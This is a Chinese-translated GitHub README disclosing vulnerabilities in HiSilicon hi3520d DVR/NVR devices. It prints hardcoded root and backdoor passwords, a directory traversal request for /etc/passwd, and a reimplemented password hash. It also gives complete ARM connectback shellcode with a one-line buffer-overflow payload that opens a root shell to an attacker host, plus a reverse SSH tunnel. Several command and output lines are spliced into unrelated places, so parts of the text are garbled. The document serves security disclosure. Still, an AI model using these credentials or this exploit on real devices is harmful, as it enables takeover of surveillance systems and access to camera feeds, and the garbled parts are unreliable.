tothi/pwn-hisilicon-dvr
GitHub: tothi/pwn-hisilicon-dvr
针对 HiSilicon hi3520d 及类似 SoC 构建的 DVR/NVR 设备的多重漏洞研究与利用工具,实现未授权远程代码执行。
Stars: 380 | Forks: 90
= HiSilicon DVR hack
Istvan Toth
v1.0, 2017-09-06
:source-highlighter: pygments
:toc: preamble
:toclevels: 5
:toc-title: 目录
:image_width: 100%
[abstract]
本报告披露了使用 HiSilicon hi3520d 及类似片上系统构建的 DVR/NVR 设备的严重漏洞(附 PoC 代码)。利用这些漏洞仅通过 Web 接口即可实现未授权的远程代码执行(RCE),从而导致被利用设备被完全接管。由于缺乏固件升级,不建议使用这些设备。
已于 2016 年 12 月之前联系了供应商,但至今仍未收到回复。披露发布日期为 2017 年 2 月。
== preface(前言)
几年前我在 eBay 上买了一台廉价的中国 DVR 设备。
该设备的启动标志显示:“SECULINK - Security Monitoring”。作为一名 IT 安全爱好者,我决定仔细研究一下这台设备,看看这个“安全监控”服务到底有多“安全”。在谷歌上搜索相关话题时,我找到了一些有趣的资料,但经过深入挖掘,我发现了关于该设备的更多有趣且极其严重的问题(0-day)。
让我们从头开始回顾整个黑客攻击过程。(新的个人发现将与已有的旧知识一起被记录下来。)
== exploring the DVR(探索 DVR)
首先我们应该了解官方的用户界面,然后深入研究,也许可以尝试获取固件。获得固件后,发现漏洞的几率会增加。
=== the DVR at a first glance(初识 DVR)
用于测试的 DVR 设备品牌为“Seculink”。
image::./seculink_device.png[Seculink DVR 设备]
可用的物理接口:
* 2x USB 端口(官方用途为连接鼠标以控制 GUI 控制台),
* HDMI 端口(以及 VGA)用于连接外部显示器(用于 GUI 和摄像头视图),
* 4x BNC 连接器用于连接模拟 CCTV 摄像头,
* 内部 SATA 端口用于连接存储设备以录制视频流,
* 用于网络访问的以太网端口。
官方用户界面:
* 使用 HDMI(或 VGA)作为输出,USB 鼠标/键盘作为输入的直接访问方式,用于摄像头视图/控制/完整设置,
* 通过 HTTP 进行网络访问,用于摄像头视图/控制。
可直接访问的设置界面受用户身份验证(用户名、密码)限制。默认超级用户为“admin”,默认密码为空。
设置强密码后,用户可能会觉得他/她的摄像头视图不会被他人访问。人们通常会将 DVR 设备的 Web 端口 (tcp/80) 从其安全的 LAN 转发到 WAN 侧,以便从外部访问 DVR 流(例如,我们可以通过合适的 Shodan 搜索来检查这一点 ;) )。
=== obtaining the firmware(获取固件)
获取固件的方法可能有很多:
* 通过某种软方法(使用官方界面或利用某些漏洞)从设备中获取,
* 通过某种硬方法(JTAG、串行控制台等)从设备中获取,
* 从互联网上查找并下载(如果可用)。
尽管后者(下载)的方法在这里可行且最简单,但我们还是尝试第一种方法,因为它还能提供有关设备的其他信息。
=== service scanning(服务扫描)
让我们对 DVR 进行一次全端口扫描。注意,(如果以 root 用户运行则默认的)SYN 扫描由于丢包非常慢,但完整的 TCP 连接扫描可以在几分钟内完成。
# Nmap 7.40 扫描启动于 Sun Sep 3 01:57:47 2017,命令为: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127
Nmap scan report for dvr.lan (192.168.88.127)
Host is up (0.028s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
23/tcp open telnet BusyBox telnetd
80/tcp open http uc-httpd 1.0.0
554/tcp open rtsp LuxVision or Vacron DVR rtspd
9527/tcp open unknown
34567/tcp open dhanalakshmi?
34599/tcp open unknown
MAC Address: 00:12:12:15:B3:E7 (Plus )
Service Info: Host: LocalHost; Device: webcam
# Nmap 完成于 Sun Sep 3 02:00:42 2017 -- 1 个 IP 地址 (1 台主机开启) 在 174.79 秒内扫描完成
总结和手动测试:
* 23/tcp 是一个受用户名+密码(非应用程序凭据)保护的 telnet 登录界面
* 80/tcp 是受应用程序凭据保护的 Web 界面
* 554/tcp 是一个 rtsp 服务;可以通过一个通用的 rtsp URL 打开:
+
## rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp
+
注意,打开 rtsp 流也需要凭据。
* 9527/tcp 似乎是一个具有一些非常有趣功能的(秘密?)服务端口,
* 34567/tcp 和 34599/tcp 似乎是某些与 DVR 应用程序相关的数据端口。
在这里我们应该声明,该设备可能是一些类似 Linux 的系统。
连接到 9527/tcp(通过原始 netcat)会显示带有日志消息和登录提示的应用程序控制台。使用任何已定义的应用程序凭据登录都是有效的。在提示符后发出 `help` 会给出控制台命令的简短描述。命令 `shell` 似乎是最有趣的。是的,它提供了一个通向设备的 root shell。 ;)
注意,这显然是一个严重的安全问题,因为任何(低权限的)应用程序用户都不应该自动获得设备上的 root shell。
=== root shell
在 root shell 中探索设备(例如通过 `dmesg`)可以明显看出,DVR 运行的是 Linux 内核(版本 3.0.8),它具有 ARMv7 CPU,SoC 型号为 `hi3520d`。
从正在运行的进程列表(`ps`)可以看出,DVR 应用程序是 `/var/Sofia`,除了 nmap 检测到的上述 tcp 端口外,它还监听 34568/udp 和 34569/udp(`netstat -nlup`)。
从挂载的磁盘列表(`mount` 命令)可以看出,固件映像位于 `/dev/mtdblockX` 设备中(其中 X=0,1,2,3,4,5)。
固件很小,因此受到限制,所以如果要在设备和外部之间复制文件,我们必须发挥创造力。幸运的是,设备支持 NFS,因此在我们的桌面机器上设置 NFS 服务器并从 DVR 挂载它就可以解决这个问题:
## mount -t nfs 192.168.88.100:/nfs /home -o nolock
现在获取固件就变得简单了:
## cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
cat /dev/mtdblock3 > /home/mtdblock3-custom.img
cat /dev/mtdblock4 > /home/mtdblock4-logo.img
cat /dev/mtdblock5 > /home/mtdblock5-mtd.img
我们可以获取文件(而不仅仅是原始映像):
## cp /var/Sofia /home/
tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var
=== telnet interface(telnet 接口)
要通过 telnet 接口(端口 23/tcp)访问设备,我们可能需要一些操作系统凭据。查看 `/etc/passwd`,我们获得了 root 用户的密码哈希:
## root:absxcfbgXtb3o:0:0:root:/:/bin/sh
注意,除了 root 之外没有其他用户,所有内容都以完全的权限运行。(因此,如果有人以某种方式侵入了设备,将没有任何屏障,攻击者会立即获得全部控制权。)
假设使用一个六位字母数字(小写)密码,hashcat 可以快速破解上述弱 DES 哈希:
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: absxcfbgXtb3o
Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs)
Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs)
Guess.Mask.......: ?1?1?1?1?1?1 [6]
Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 815.9 kH/s (203.13ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 121360384/2176782336 (5.58%)
Rejected.........: 0/121360384 (0.00%)
Restore.Point....: 93440/1679616 (5.56%)
Candidates.#1....: sa8711 -> h86ani
HWMon.Dev.#1.....: N/A
## 启动于: Sun Sep 3 03:25:04 2017
Stopped: Sun Sep 3 03:27:38 2017
因此,使用用户 `root` 和密码 `xc3511` 可以通过端口 23/tcp 的 telnet 接口登录。这个可通过无法关闭的 telnet 接口访问的硬编码 root 账户显然是一个后门。
这些结果在我们的研究之前几乎已经被其他人获取到了,但以下内容则是全新的。
== firmware reversing(固件逆向)
探索固件后发现,二进制文件 `/var/Sofia` 是主应用程序,它实现了除视频处理等之外的每个接口。因此,这个二进制文件对我们来说似乎是最有趣的。
不幸的是,它是(静态链接且)被剥离了的,这使得静态分析变得更加困难:
## $ file Sofia
Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info
因此,除了静态分析(使用 radare2 或 IDA)之外,动态分析也应该会非常有帮助。
=== remote gdb(远程 GDB)
对于动态分析,将 GNU Project debugger (GDB) 附加到远程 `/var/Sofia` 应用程序应该是有利的。推荐的方法是在远程设备上运行(并附加)`gdbserver`,并从本地机器连接 `gdb` 到它。
当然,我们需要一个为相应 ARM 架构编译(最好是静态的)的 `gdbserver`。为了构建它,我们可以使用 https://www.uclibc.org/[µClibc],这是嵌入式系统(如我们的 DVR)推荐的 C 库。可用的构建版本是动态构建的,这在我们的 DVR 上是有问题的,所以我们应该自己进行自定义的静态构建。有一个很好的构建环境叫做 https://buildroot.org/[Buildroot],它使构建工作开箱即用(使用 `make menuconfig` 选择所需的应用程序(如 gdb),不要忘记选择静态库,然后运行 `make`)。
经过短暂的构建时间(约 10-15 分钟),所有必要的工具都应该可用了。可以通过前面提到的 NFS 方法将静态二进制文件传输到设备。注意,包含 Sofia 二进制文件的目录 `/var` 是一个 ramfs,因此它在重启后不会持久存在。如果我们想(几乎)永久地传输这些二进制文件,包含配置文件的 rw 分区 `/mnt/mtd` 应该是一个合适的目标。如果你也构建了 `openssh` 包,`scp` 将可用,这会使传输文件变得更加容易。
现在固件已经准备好进行一些逆向了。远程附加 `gdbserver` 现在可以工作了(通过 `ps` 很容易获取 Sofia 进程的 PID):
## $ /mnt/mtd/gdbserver --attach :2000 610
从本地机器连接:
## $ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
注意,推荐使用一些 GDB 扩展(如 http://gef.readthedocs.io/en/master/[GEF])。如果由于某种原因暂停应用程序不起作用(使用 C-c),向 Sofia 进程发送 TRAP 信号(通过 `kill -TRAP 610`)应该可以暂停它。
=== inspect the authentication procedure(检查身份验证过程)
推荐的静态分析工具显然是 Hex-Ray 的 https://www.hex-rays.com/products/ida/[IDA Pro]。不幸的是,它并不便宜,但比任何其他工具都要好得多。
在最初的自动分析之后有 15,000 多个函数,但是使用 IDA(使用简单的 Python 脚本)只需片刻就能找到 auth 函数。下面的 https://www.hex-rays/products/ida/support/idapython_docs/[IDAPython] 代码片段搜索所有同时引用与“Users”和“Password”相关的任意内容的函数:
## [source,python]
## x1, x2 = set(), set()
for loc, name in Names():
if "Users" in name:
for addr in XrefsTo(loc):
x1.add(GetFunctionName(addr.frm))
elif "Password" in name:
for addr in XrefsTo(loc):
x2.add(GetFunctionName(addr.frm))
print x1 & x2
结果只有一个函数:`sub_2D857C`。对这个函数的快速分析证实它应该是身份验证函数。
在对明文密码与硬编码字符串进行初始检查(在从配置中获取用户密码哈希之前)时。如果通过,则授予身份验证。这是应用程序中一个丑陋的后门。通用密码是:`I0TO5Wv9`。
使用此密码,我们可以作为任何用户(例如 admin)访问应用程序中的任何内容。例如,获取视频流:
## $ cvlc 'rtsp://192.168.88.127:554/user=admin&password=I0TO5Wv9&channel=1&stream=0.sdp'
或者在应用程序控制台 (9527/tcp) 获取 root shell 也是可行的:
$ nc 192.168.88.127 9527
nc: using stream socket
## username:admin
password:I0TO5Wv9
login(admin, ******, Console, address:)
admin$
身份验证算法中的另一个有趣结果:
在某些情况下,auth 函数不仅接受密码,还接受哈希。打开 rtsp 视频流不仅可以使用密码,还可以使用哈希(存储在 /mnt/mtd/Config/Account1 中)。例如,`tlJwpbo6` 是空密码的哈希(参见下一节),因此
```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
```
也有效。
=== password hash function(密码哈希函数)
auth 函数(更深层次的)静态分析的另一个结果是:密码哈希函数是 `sub_3DD5E4`。它基本上是带有一些奇怪转换的 MD5。在 Python 中逆向并实现了它:
## [source,python]
import hashlib
## def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
通过实现的哈希算法,暴力破解密码或设置任意密码成为可能。
== buffer overflow in builtin webserver(内置 Web 服务器中的缓冲区溢出)
Sofia 二进制文件处理端口 80/tcp 上的 HTTP 请求。让我们尝试对这些请求进行一些模糊测试。当然,附加 gdb(见上文)应该会有所帮助。实际上,我们应该终止 Sofia 进程并使用 gdbserver 重新启动它,以便同时查看控制台输出:
## $ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
在本地:
## $ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
现在让我们看看 GET 请求。没有响应:
## $ echo 'GET /' | nc 192.168.88.127 80
正常响应(即使最后没有适当的关闭和/或换行符):
## $ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
用一个超长请求测试某些溢出:
## $ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
很好。响应是一个带有“404 File Not Found”消息的 200,但我们可以在 gdb 中看到一个美妙的崩溃。 ;)
注意,有一个为 Sofia 应用程序启用的看门狗内核模块。如果它一分钟没有运行,设备就会重启。一方面,如果我们在远程设备上进行实验,这是好事,但另一方面,如果我们想要顺利地进行一些调试,这就成了坏事。
看门狗一旦启动就无法关闭,因此摆脱它的唯一方法是通过重新刷写来修改只读固件。除非我们想把我们的测试设备变砖,否则不建议这么做。 ;)
=== program flow control(程序流控制)
为什么这个崩溃是美妙的(从攻击者的角度来看)?远程进程 Sofia 收到了 SIGSEGV(段错误),堆栈中填满了我们的“a”字符,但最重要的是:$pc(程序计数器)寄存器中包含了我们注入的值 `0x61616160`("aaaa" - 1)(可能是由 ret 指令触发的,但原因并不重要)。这应该是一个经典的堆栈溢出,这意味着我们有机会轻松地控制程序流。
经过一些实验(通过区间减半):
## $ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.Nmap 7.40 扫描启动于 Sun Sep 3 01:57:47 2017,命令为:nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127
这也导致了 SIGSEGV,并且 $pc 寄存器为 `0x7a797876`(~"wxyz";反转了,因为字节序是 little-endian;并且 -1 是因为对齐)。我们的 payload 从(带有 "0123aaa...")$sp+0x14(栈基址 + 0x14)开始。
=== remote code execution(远程代码执行)
利用这种溢出最简单、最有效的方法是向堆栈中注入一些 shellcode 并将程序流重定向到那里。这样我们就可以在目标上执行任意的远程代码。由于设备操作系统上没有特权分离,这意味着完全控制(root shell 访问)。
但是,可能启用了(现代的)漏洞利用缓解技术,这会使攻击者的生活更加困难。
保护堆栈上 shellcode 的最基本方法是 No-eXecute (NX) 位技术。这可以防止在选定的内存页(通常是具有写入权限的页面,如堆栈)上执行代码。幸运的是(从攻击者的角度来看 ;) ),没有设置 NX 位(查看 STACK 标志,rwx):
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
## Nmap 完成于 Sun Sep 3 02:00:42 2017 -- 1 个 IP 地址 (1 台主机在线) 在 174.79 秒内扫描完成
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]
或者直接在 gdb gef 中使用 `checksec`。gdb gef 中的 `checksec` 还告诉我们没有启用其他缓解措施,例如 stack canary(这很明显,因为如果存在 stack canary,我们就无法通过堆栈溢出来控制 $pc)。
在让 RCE 工作之前我们唯一需要知道的是堆栈地址。我们应该在 payload(上面的 "wxyz")的适当位置注入地址 $sp+0x14,以便将程序流重定向到 shellcode。
还有一种缓解技术可能会使这变得更加困难(或者在某些情况下非常困难,几乎不可能):地址空间布局随机化 (ASLR)。ASLR 随机化内存段的基址(例如堆栈的基址)。
不幸的是,ASLR 是启用的(“2”表示完全随机化,“0”表示禁用):
## rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp
2
==== RCE without ASLR(无 ASLR 的 RCE)
让我们首先尝试在关闭 ASLR 的情况下利用溢出。
## mount -t nfs 192.168.88.100:/nfs /home -o nolock
按照上述过程,我们得到在发生 SIGSEGV 崩溃时堆栈地址 ($sp) 为 0x5a26f3d8(并且在关闭 ASLR 的不同运行中它是相同的)。
所以 payload 应该是:
## cat /dev/mtdblock1 > /home/mtdblock1-root.img
其中 shellcode 应该是我们想要执行的内容,最好是一个 connectback shellcode。注意,存在“badchars”,必须避免:0x00、0x0d ('\n')、0x20 (' ')、0x26 ('&')、0x3f ('?')。
此外,还有 299 字节的大小限制。Shellcode 生成器无法处理我们的 badchar 列表,甚至使用自动编码器也无法解决问题(由于大小限制)。
所以应该生成一个自定义的 shellcode。这里的 shellcode 使用 socket、connect、dup2 和 execve 系统调用(或者根据 ARM 世界的术语,supervisor 调用)提供了一个 connectback shell。我们必须严格且富有创造力,以避免 badchars。不应使用标签,它们只是为了更容易阅读。
## cp /var/Sofia /home/
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
## root:absxcfbgXtb3o:0:0:root:/:/bin/sh
编译 shellcode 并获取原始二进制字节(使用任何针对 ARM 的交叉工具都应该有效,例如使用 buildroot 构建的工具在 `buildroot-2017.02.5/output/host/usr/bin/` 中也可以):
## 启动于:Sun Sep 3 03:25:04 2017
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
用 payload 注入此代码应该会使漏洞利用起作用,并且它应该会提供一个到远程设备的 connectback shell。
当然,首先在 `192.168.88.100` 上启动一个监听器:
## $ file Sofia
然后启动 payload:
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
404 File Not Found
The requested URL was not found on this server
----
漏洞利用应该成功了! :) 在本地的 gdb 中:
## $ /mnt/mtd/gdbserver --attach :2000 610
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
并且 RCE 已经在 netcat 监听器上准备就绪:
## $ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
nc: using stream socket
现在可以在远程系统上执行任意命令(以 root 身份!)了。
但不幸的是,该漏洞利用尚未准备好进行现实世界的部署,因为 ASLR 是开启的,因此我们不知道 shellcode 的起始地址。目前还不知道。
==== defeating ASLR(击败 ASLR)
击败 ASLR 并非易事,但通过一些创造力通常是可以做到的。通常有两种方法可以做到:
* 在随机数生成器中发现一些弱点,并通过暴力破解或一些部分泄漏/部分覆盖来攻击它,
* 泄漏远程二进制文件随机化的内存地址。
现在暴力破解似乎毫无用处(触发错误地址会导致崩溃和缓慢重启),所以只有泄漏似乎可行(如果我们找到任何泄漏点的话)。
经过长时间的研究,几乎要放弃了,找不到任何泄漏,但后来从完全不同的方向冒出了一个想法。
Web 服务器中还有一个不同的漏洞,一个经典的目录遍历漏洞。事实上,它也适用于列出目录(这也很重要)。
目录遍历漏洞意味着:
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
## [source,python]
并且我们也可以获取目录列表:
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 dropbear@192.168.88.100
现在可以通过反向 SSH 隧道访问该设备了:
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
## $ kill 610
[root@LocalHost /]$
== summary(总结)
以下是记录的漏洞:
[cols="2,1,1,1,4",options="header",]
|=======================================================================
|漏洞 |风险 |服务 |发现者 |影响
|硬编码(后门)telnet 密码 |高 |23/tcp |以前由其他人发现
|每个有权访问 telnet 接口的人都可以完全控制该设备,即使用户设置了合适的密码
|使用任何应用程序账户获取 root shell 访问权限 |高 |9527/tcp |由作者发现 |任何拥有任何类型的应用程序账户并有权访问服务控制台的人,都可以将权限提升到对设备的完全(shell)控制
|*后门应用程序密码* |严重 |80/tcp, 554/tcp |由作者发现 |任何人都可以作为应用程序管理员访问设备,即使用户设置了强密码来保护设备
|*内置 Web 服务器中的缓冲区溢出* |严重 |80/tcp |由作者发现 |利用缓冲区溢出,攻击者可以获得设备上的 root 远程代码执行(无需身份验证),安装后门、恶意软件和其他恶意内容
|目录遍历 |高 |80/tcp |以前由其他人(?)和作者发现 |对设备上所有内容(例如录制的流)的未授权读取访问,也有助于利用缓冲区溢出
|=======================================================================
如果有人认为只有这款“Seculink”品牌的设备受到这些严重漏洞的影响,那就错了。受影响设备的范围非常广。使用此类 HiSilicon SoC 硬件构建的每台设备都容易受到攻击。这些设备共享(几乎)相同的固件,带有名为“Sofia”的二进制应用程序。上述漏洞(甚至功能完备的脚本)几乎无需修改即可在许多不同的硬件上可靠运行。
以下是受影响品牌的不完整列表:
image::./brands_affected.png[受影响的品牌]
http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/
一般来说,可以说这类廉价的 IoT 设备是安全噩梦。作者最近测试的每一台设备都有一些严重或关键的漏洞。从渗透测试人员的角度来看,建议是必须将这些类型的设备很好地隔离,这些类型的设备绝不能与重要、机密的数据共享同一网络。不幸的是,没有真正的机会获得此类固件的补丁更新。
最后,重要的是要说明,这个缓冲区溢出漏洞(带有 PoC 漏洞利用代码)已通过 https://www.beyondsecurity.com/[Beyond Security] 的 https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure] (SSD) 计划进行了披露。已于 2016 年底通知了供应商,但在漏洞向公众发布之前没有收到任何回复(不幸的是,这很常见)。
2017 年 2 月发布的披露信息可在 https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[此处] 获取。
*更新 (2023-01-01):* 此研究被 https://vulncheck.com/[VulnCheck](于 2022-11-30)在 https://twitter.com/Junior_Baines[Jacob Baines] 撰写的关于攻破 Xiongmai 设备的文章中引用:
https://vulncheck.com/blog/xiongmai-iot-exploitation
